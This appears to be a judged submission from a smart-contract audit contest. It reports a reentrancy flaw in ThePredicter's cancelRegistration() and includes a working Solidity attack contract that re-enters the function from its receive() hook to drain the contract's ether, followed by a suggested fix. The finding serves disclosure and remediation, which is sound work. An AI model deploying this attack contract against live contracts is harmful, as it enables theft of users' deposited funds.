First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy attack in `ThePrediter.sol::cancelRegistration()`

vikthetilted

Summary

A reentrancy vulnerability has been identified in the cancelRegistration function of the ThePredicter contract. This vulnerability allows a malicious actor to exploit the contract by recursively calling the cancelRegistration function before the initial execution completes, potentially leading to unauthorized withdrawal of funds.

Vulnerability Details

https://github.com/Cyfrin/2024-07-the-predicter/blob/839bfa56fe0066e7f5610197a6b670c26a4c0879/src/ThePredicter.sol#L62-L70

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
​
import "./ThePredicter.sol";
​
contract Reentrancy {
ThePredicter public victim;
address public owner;
​
constructor(address _victim) payable {
victim = ThePredicter(_victim);
owner = msg.sender;
}
​
receive() external payable {
if (address(victim).balance >= 1 ether) {
victim.cancelRegistration();
} else {
payable(owner).transfer(address(this).balance);
}
}
​
function attack() external payable {
victim.register{value: 1 ether}();
victim.cancelRegistration();
}
​
function withdraw() external {
require(msg.sender == owner, "Not the owner");
payable(owner).transfer(address(this).balance);
}
}

Impact

The reentrancy vulnerability in the cancelRegistration function can lead to:

  • Unauthorized withdrawal of funds.

  • Potential depletion of the contract's balance.

  • Loss of trust in the contract's security.

Tools Used

Manual review

Recommendations

Either CEI (Checks - Effects - Interactions) should be followed or OpenZeppelin library ReentrancyGuard should be used.

function cancelRegistration() public {
if (playersStatus[msg.sender] != Status.Pending) {
revert ThePredicter__UnauthorizedAccess();
}
//Temporary variable to store the original state
Status originalStatus = playersStatus[msg.sender];
​
// Update the state before making the external call
playersStatus[msg.sender] = Status.Canceled;
​
// Perform the external call
(bool success, ) = msg.sender.call{value: entranceFee}("");
// Revert the state if the call fails
if (!success) {
playersStatus[msg.sender] = originalStatus;
revert("Failed to withdraw");
}
}
Updates

Lead Judging Commences

NightHawK Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.